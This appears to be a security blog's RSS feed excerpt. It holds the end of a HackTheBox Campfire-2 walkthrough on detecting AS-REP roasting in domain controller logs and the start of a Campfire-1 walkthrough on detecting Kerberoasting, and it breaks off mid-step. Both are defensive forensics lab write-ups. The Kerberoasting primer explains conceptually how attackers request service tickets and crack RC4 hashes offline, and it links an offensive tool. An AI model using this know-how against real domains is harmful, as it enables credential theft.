950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/4e9d54ab93b89c923459910ea9c5dfee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2a2efe3e32e5c60636879bbf46ec5641_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1066px&#34; data-flex-grow=&#34;444&#34; height=&#34;180&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/2a2efe3e32e5c60636879bbf46ec5641_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-we-do-not-have-any-artifacts-from-the-source-machine-yet-using-the-same-dc-security-logs-can-you-confirm-the-user-account-used-to-perform-the-asrep-roasting-attack-so-we-can-contain-the-compromised-accounts&#34;&gt;Question 5: We do not have any artifacts from the source machine yet. Using the same DC Security logs, can you confirm the user account used to perform the ASREP Roasting attack so we can contain the compromised account/s?&#xA;&lt;/h3&gt;&lt;p&gt;Remember in the detection strategy back in the primer that &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; recommended correlating &lt;code&gt;Event ID 4768&lt;/code&gt; activity with &lt;em&gt;“subsequent service ticket activity (Event ID 4769).”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This next step is doing exactly that. We’re correlating our original finding with &lt;code&gt;[Event ID 4769](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769)&lt;/code&gt; (&lt;em&gt;A Kerberos service ticket was requested&lt;/em&gt;) and pivoting off the client IP address we uncovered in &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To do this, apply a new filter in &lt;strong&gt;Event Log Explorer&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Scope to Event ID &lt;code&gt;4769&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the &lt;em&gt;Description Param&lt;/em&gt;: &lt;code&gt;Network Information\Client Address&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Operator: &lt;em&gt;Contains&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Value: &lt;code&gt;172.17.79.129&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ed24b3b330e0b7677e8a68fc0b6433bd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;257px&#34; data-flex-grow=&#34;107&#34; height=&#34;645&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/ed24b3b330e0b7677e8a68fc0b6433bd_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering Kerberos service ticket requests (4769) from the suspicious client&lt;/p&gt;&#xA;&lt;p&gt;After applying this filter, we’re left with a single matching event. That gives us a clean correlation point between the source system and follow-on Kerberos activity.&lt;/p&gt;&#xA;&lt;p&gt;Drilling into the event details, we can now identify the account associated with this request. The event shows the account name &lt;code&gt;happy.grunwald&lt;/code&gt;, which appears to be the user context tied to the system performing the activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2f414c60ecc4e3e5fcf37acd4248e8c3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;374&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/2f414c60ecc4e3e5fcf37acd4248e8c3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Analyzing the event details&lt;/p&gt;&#xA;&lt;p&gt;At this point, we’ve linked together:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;strong&gt;targeted account&lt;/strong&gt; (&lt;code&gt;arthur.kyle&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;source system&lt;/strong&gt; (&lt;code&gt;172.17.79.129&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;And now the &lt;strong&gt;user context associated with that system&lt;/strong&gt; (&lt;code&gt;happy.grunwald&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This gives us enough context to begin containment actions and start scoping the potential compromise. With that, we’ve answered all of the questions and completed the investigation. Nice job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e7714491c2059b177928d0042b6375a4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1122px&#34; data-flex-grow=&#34;467&#34; height=&#34;171&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/e7714491c2059b177928d0042b6375a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;4292b414ac7c1187e9daa086e48ab08d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;351px&#34; data-flex-grow=&#34;146&#34; height=&#34;547&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/4292b414ac7c1187e9daa086e48ab08d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another great challenge, how fun was that? A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt; for the Sherlock.&lt;/p&gt;&#xA;&lt;p&gt;This lab ended up being a really good reminder of just how much signal exists in event logging if you take the time to understand how domain authentication actually works. &lt;strong&gt;Kerberos&lt;/strong&gt; isn’t new, and &lt;em&gt;AS‑REP roasting&lt;/em&gt; isn’t either, but walking through the mechanics step by step makes it clear why weak account configuration still represents real risk in modern environments. Nothing wild here, just attackers leveraging expected behavior in ways defenders need to anticipate.&lt;/p&gt;&#xA;&lt;p&gt;What I appreciated most about this challenge is how focused it was. It zeroed in on a single detection and made it approachable without oversimplifying it. In a real environment, we’d be dealing with a lot more noise, but this Sherlock does a great job of showing how to investigate AS‑REP roasting in an approachable way.&lt;/p&gt;&#xA;&lt;p&gt;Like in &lt;em&gt;Campfire-1&lt;/em&gt;, leaning on &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; as a reference point paid off here. Rather than hunting blindly, it helped us home in on what to look for, why certain events mattered, and how those signals might translate into detections later on. This kind of structured approach quietly reinforces how ATT&amp;amp;CK can guide both investigations and detection engineering without forcing things into a rigid workflow.&lt;/p&gt;&#xA;&lt;p&gt;If you got something out of this walkthrough, whether it helped you better understand Kerberos abuse, work through a stumbling block, or just served as a practical reference, feel free to give it a clap and follow along. I really appreciate the support, and I hope these write‑ups continue to be useful.&lt;/p&gt;&#xA;&lt;p&gt;Remember, cybersecurity is a team sport, and we’re in this together.&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge, stay curious and be safe out there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Campfire-2?tab=play_sherlock&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/Campfire-2?tab=play_sherlock&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Event Log Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eventlogxp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — “Kerberos Network Authentication Service (V5) Synopsis”:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1558/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — “4768(S, F): A Kerberos authentication ticket (TGT) was requested”:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — “4769(S, F): A Kerberos service ticket was requested”:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — Campfire-1 Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/</link>
            <pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/2e96b36576478948e67b6d50b55c19aa_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — Campfire-1 Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hackthebox-campfire-1-sherlock-walkthrough&#34;&gt;HackTheBox: Campfire-1 Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;detecting-kerberoasting-activity-correlating-kerberos-events-powershell-logs-and-prefetch-artifacts&#34;&gt;Detecting Kerberoasting Activity: Correlating Kerberos Events, PowerShell Logs, and Prefetch Artifacts&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;2e96b36576478948e67b6d50b55c19aa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;240&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/2e96b36576478948e67b6d50b55c19aa_MD5.png&#34; width=&#34;240&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Campfire-1?tab=play_sherlock&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/Campfire-1?tab=play_sherlock&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Campfire-1?tab=play_sherlock&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Campfire-1 Sherlock&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;This is the first challenge in the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/tracks/61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detecting Active Directory Attacks&lt;/strong&gt;&lt;/a&gt; track and it wastes no time dropping us into a classic blue team scenario.&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, we’re given a collection of forensic artifacts, including Domain Controller security logs, &lt;em&gt;PowerShell&lt;/em&gt; operational logs from the affected workstation, and Windows Prefetch files. From there, it’s on us to reconstruct the attack and figure out what actually happened in the environment.&lt;/p&gt;&#xA;&lt;p&gt;Along the way, we’ll bust out a handful of tools, including &lt;strong&gt;Event Log Explorer&lt;/strong&gt;, &lt;strong&gt;PECmd&lt;/strong&gt;, and &lt;strong&gt;Timeline Explorer&lt;/strong&gt;, and map what we find back to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; to add some helpful context. Going hands‑on with a broad set of tools like this is a great way to get experience with multiple utilities and compare how each one shines during different phases of an investigation.&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me. Let’s go!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Alonzo Spotted Weird files on his computer and informed the newly assembled SOC Team. Assessing the situation it is believed a Kerberoasting attack may have occurred in the network. It is your job to confirm the findings by analyzing the provided evidence.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are provided with:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;1- Security Logs from the Domain Controller&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;2- PowerShell-Operational Logs from the affected workstation&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;3- Prefetch Files from the affected workstation&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;strong&gt;HtB&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge which is “&lt;em&gt;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;kerberoasting-primer&#34;&gt;Kerberoasting Primer:&#xA;&lt;/h3&gt;&lt;p&gt;Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of &lt;strong&gt;Kerberoasting&lt;/strong&gt; in the context of domain authentication. This will help us contextualize what we’re looking at as we move through the evidence and hopefully avoid stumbling over assumptions later on.&lt;/p&gt;&#xA;&lt;p&gt;At a high level, the attacker already has valid domain credentials. With those credentials, they can request a Kerberos service ticket for another account that has a registered &lt;em&gt;Service Principal Name&lt;/em&gt; or SPN. These SPNs are typically associated with service accounts. Because Kerberos is designed to allow any authenticated domain user to request service tickets, the attacker can ask the domain controller for tickets tied to these exposed service accounts.&lt;/p&gt;&#xA;&lt;p&gt;If the service account is protected by a weak password, especially if a legacy encryption algorithm like &lt;strong&gt;RC4&lt;/strong&gt; is still in use, the attacker can take the resulting ticket offline and attempt to brute force it. If successful, this might give them valid service account credentials. From there, lateral movement or privilege escalation becomes much easier, depending on how that account is configured in the domain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; describes the technique like this:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Brute Force&lt;/a&gt;.1(&lt;a class=&#34;link&#34; href=&#34;https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1%292%28https://adsecurity.org/?p=2293&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1)2(https://adsecurity.org/?p=2293&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service3(&lt;a class=&#34;link&#34; href=&#34;https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/%29%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/))&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).1(&lt;a class=&#34;link&#34; href=&#34;https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1%292%28https://adsecurity.org/?p=2293&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1)2(https://adsecurity.org/?p=2293&lt;/a&gt;) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Brute Force&lt;/a&gt; attacks that may expose plaintext credentials.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Not good. But understanding this flow is exactly what we need as we move into the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/detectionstrategies/DET0157/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;&lt;/a&gt; also provides helpful detection guidance (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/detectionstrategies/DET0157/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;DET0157&lt;/em&gt;&lt;/a&gt;) and recommends:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Monitoring for anomalous Kerberos TGS requests (Event ID 4769) with RC4 encryption (etype 0x17), accounts requesting an unusual number of service tickets in a short period, or service accounts targeted outside normal usage baselines. Also correlates suspicious process activity (e.g., Mimikatz invoking LSASS access) with Kerberos ticket anomalies.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, by combining these telemetry points and using them as the basis of our investigation, we can more confidently spot &lt;em&gt;Kerberoasting&lt;/em&gt; activity and scope its impact. Let’s give it a shot.&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-analyzing-domain-controller-security-logs-can-you-confirm-the-utc-date--time-when-the-kerberoasting-activity-occurred&#34;&gt;Question 1: Analyzing Domain Controller Security Logs, can you confirm the UTC date &amp;amp; time when the kerberoasting activity occurred?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off our investigation by extracting the challenge artifact, &lt;code&gt;campfire-1.zip&lt;/code&gt;, which leaves us with a folder named &lt;code&gt;Triage&lt;/code&gt;. Inside that folder, we’re given both Domain Controller artifacts and Workstation artifacts.&lt;/p&gt;&#xA;&lt;p&gt;For the Domain Controller evidence, we’ve got a Windows Security Event log named &lt;code&gt;security.evtx&lt;/code&gt;. This log contains, among many other things, authentication and ticket‑granting activity related to the domain. Since the question is asking us to confirm Kerberos‑related activity, this is a logical place to start.&lt;/p&gt;&#xA;&lt;p&gt;While we could analyze this log using the built‑in Windows Event Viewer, for this walkthrough I’m using &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt;, a third‑party utility that significantly speeds up filtering and navigation during event log analysis. It’s already installed in my lab environment, and for investigations like this, it’s hard to beat.&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;em&gt;Event Log Explorer&lt;/em&gt; is open, load the Domain Controller &lt;code&gt;security.evtx&lt;/code&gt;. From here, we can apply the &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; detection guidance we discussed in the &lt;em&gt;Kerberoasting&lt;/em&gt; primer and put it directly into practice.&lt;/p&gt;&#xA;&lt;p&gt;To do that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click the &lt;em&gt;Filter&lt;/em&gt; button in the toolbar&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;em&gt;Event ID&lt;/em&gt; &lt;code&gt;[4769](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769)&lt;/code&gt; (&lt;em&gt;A Kerberos service ticket was requested&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;em&gt;Description Params&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Locate &lt;em&gt;Additional Information\Ticket Encryption Type&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the operator to &lt;em&gt;Equal&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the value &lt;code&gt;0x17&lt;/code&gt; (&lt;em&gt;RC4&lt;/em&gt; encryption)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;543423e65f0929f702561a3c3a70e1ec_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;372px&#34; data-flex-grow=&#34;155&#34; height=&#34;516&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/543423e65f0929f702561a3c3a70e1ec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Applying the MITRE ATT&amp;amp;CK detection filters to our log&lt;/p&gt;&#xA;&lt;p&gt;After applying this filter, we’re left with exactly one matching event. That’s a strong signal and, conveniently, it’s all we need to answer &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;97f278113de7e746b0923486f717651f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;368px&#34; data-flex-grow=&#34;153&#34; height=&#34;521&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/97f278113de7e746b0923486f717651f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Pinpointing the matching event&lt;/p&gt;&#xA;&lt;p&gt;There’s one final detail to pay attention to. The question specifically asks for the &lt;strong&gt;UTC&lt;/strong&gt; date and time. Event Viewer and many third‑party tools often display timestamps in local time by default, which can easily trip you up if you’re not careful.&lt;/p&gt;&#xA;&lt;p&gt;To get the authoritative timestamp, double‑click the event, open the &lt;em&gt;XML&lt;/em&gt; tab, and look for the &lt;code&gt;&amp;lt;SystemTime&amp;gt;&lt;/code&gt; field. This value is recorded in UTC and removes any ambiguity around time zone conversion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;18e54ee8ccedbf5f1a7badd148edaf48_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;350px&#34; data-flex-grow=&#34;145&#34; height=&#34;548&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/18e54ee8ccedbf5f1a7badd148edaf48_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Drilling into event properties to find the UTC &lt;code&gt;SystemTime&lt;/code&gt; 